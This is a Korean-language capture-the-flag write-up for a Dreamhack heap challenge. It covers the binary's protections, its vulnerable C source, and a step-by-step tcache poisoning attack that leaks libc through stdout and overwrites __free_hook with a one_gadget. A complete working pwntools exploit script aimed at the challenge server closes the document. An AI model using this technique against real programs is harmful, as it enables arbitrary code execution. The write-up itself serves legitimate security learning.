[*] '/root/dream/tcache_poison/tcache_poison'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
보호기법을 확인하면 Full RELRO
와 Nx enabled
가 적용됐다. 따라서 GOT Overwrite와 shellcode execute는 할 수 없고 hook overwrite를 고려할 수 있다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\n");
printf("2. Free\n");
printf("3. Print\n");
printf("4. Edit\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: ");
scanf("%d", &size);
chunk = malloc(size);
printf("Content: ");
read(0, chunk, size - 1);
break;
case 2:
free(chunk);
break;
case 3:
printf("Content: %s", chunk);
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
}
}
return 0;
}
- case 1) size만큼 메모리 공간을 할당하고 데이터를 저장
- 주소는
*chunk
변수에 저장
- 주소는
- case 2) chunk 해제
- case 3) chunk가 가리키는 데이터를 출력
- case 4) chunk가 가리키는 메모리 공간을 원하는 데이터로 수정
요약하면 malloc
, free
, modify
, output
4가지 기능을 수행할 수 있는 프로그램이다.
4가지를 모두 수행할 수 있으므로 tcache_dup
취약점을 이용한 exploit이 가능하다.
"Tcache Poisoning" 취약점을 이용하면 임의 주소에 데이터를 쓸 수 있다.
hook overwrite로 쉘을 획득해야하므로 Tcache Poisoning을 이용해서 __free_hook
을 oneshot 가젯으로 덮는 방식으로 진행해보자.
먼저, __free_hook
주소를 구하려면 libc_base를 구해야 한다.
# Allocate a chunk of size 0x30
alloc(0x30, "dreamhack")
free()
# tcache[0x30]: "dreamhack"
# Bypass the DFB mitigation
edit("A"*8 + "\x00")
free()
# tcache[0x30]: "dreamhack" -> "dreamhack"
# Append the address of `stdout` to tcache[0x30]
addr_stdout = e.symbols["stdout"]
alloc(0x30, p64(addr_stdout))
# tcache[0x30]: "dreamhack" -> stdout -> _IO_2_1_stdout_ -> ...
# Leak the value of stdout
alloc(0x30, "B"*8) # "dreamhack"
alloc(0x30, "\x60") # stdout
Tcache Poisoning으로 libc_base 주소를 구하는 코드다.
주석으로 표시된 설명은 메모리 할당/해제 과정에서 조작된 tcache를 대략적으로 표현한 것이다.
- 똑같은 크기로 할당/해제하는 과정을 거쳐서 tcache entry에
stdout
주소가 포함되도록 조작하는 과정이다. tcache entry를 조작하고 "dreamhack"을 할당하여 tcache entry가stdout
주소를 가리키게 한 상태로case 3
을 이용해서 출력하면stdout
주소를 얻을 수 있다.
참고로 edit()
는 DFB mitigation을 우회하기 위해 추가한 코드로 e→key을 덮는 역할이다.
stdout
주소를 얻으면 다음과 같이 stdout offset
과 연산해서 libc_base 주소를 얻을 수 있다.
# Libc leak
print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recv(6).ljust(8, b"\x00"))
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
fh = lb + libc.symbols["__free_hook"]
og = lb + 0x4f432
success("free_hook :"+hex(fh))
success("one_gadget :"+hex(og))
libc_base 주소를 얻었다면 __free_hook
과 oneshot gadget
주소까지 구할 수 있다.
다음으로 __free_hook()
을 oneshot 가젯으로 덮자.
# Overwrite the `__free_hook` with the address of one_gadget
alloc(0x40, "dreamhack")
free()
edit("C"*8 + "\x00")
free()
alloc(0x40, p64(fh))
alloc(0x40, "D"*8)
alloc(0x40, p64(og))
# Call `free()` to get shell
free()
tcache_dup 취약점을 이용해서 __free_hook
주소를 oneshot
으로 덮는 코드다.
libc_base를 leak 할 때처럼 tcache 검증을 우회하는 동시에 overwrite까지 수행하고 있다.
__free_hook()
을 oneshot 가젯으로 덮고 free()
를 호출한다면?
__free_hook() == oneshot_gadget
이 실행되면서 쉘을 획득할 수 있다.
from pwn import *
import warnings
warnings.filterwarnings( 'ignore' )
p = remote('host3.dreamhack.games',18463)
e = ELF("./tcache_poison")
libc = ELF("./libc-2.27.so")
def alloc(size, data):
p.sendlineafter("Edit\n", "1")
p.sendlineafter(":", str(size))
p.sendafter(":", data)
def free():
p.sendlineafter("Edit\n", "2")
def print_chunk():
p.sendlineafter("Edit\n", "3")
def edit(data):
p.sendlineafter("Edit\n", "4")
p.sendafter(":", data)
# Allocate a chunk of size 0x40
alloc(0x30, "dreamhack")
free()
# tcache[0x40]: "dreamhack"
# Bypass the DFB mitigation
edit("A"*8 + "\x00")
free()
# tcache[0x40]: "dreamhack" -> "dreamhack"
# Append the address of `stdout` to tcache[0x40]
addr_stdout = e.symbols["stdout"]
alloc(0x30, p64(addr_stdout))
# tcache[0x40]: "dreamhack" -> stdout -> _IO_2_1_stdout_ -> ...
# Leak the value of stdout
alloc(0x30, "B"*8) # "dreamhack"
alloc(0x30, "\x60") # stdout
# Libc leak
print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recv(6).ljust(8, b"\x00"))
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
fh = lb + libc.symbols["__free_hook"]
og = lb + 0x4f432
success("free_hook :"+hex(fh))
success("one_gadget :"+hex(og))
# Overwrite the `__free_hook` with the address of one_gadget
alloc(0x40, "dreamhack")
free()
edit("C"*8 + "\x00")
free()
alloc(0x40, p64(fh))
alloc(0x40, "D"*8)
alloc(0x40, p64(og))
# Call `free()` to get shell
free()
p.interactive()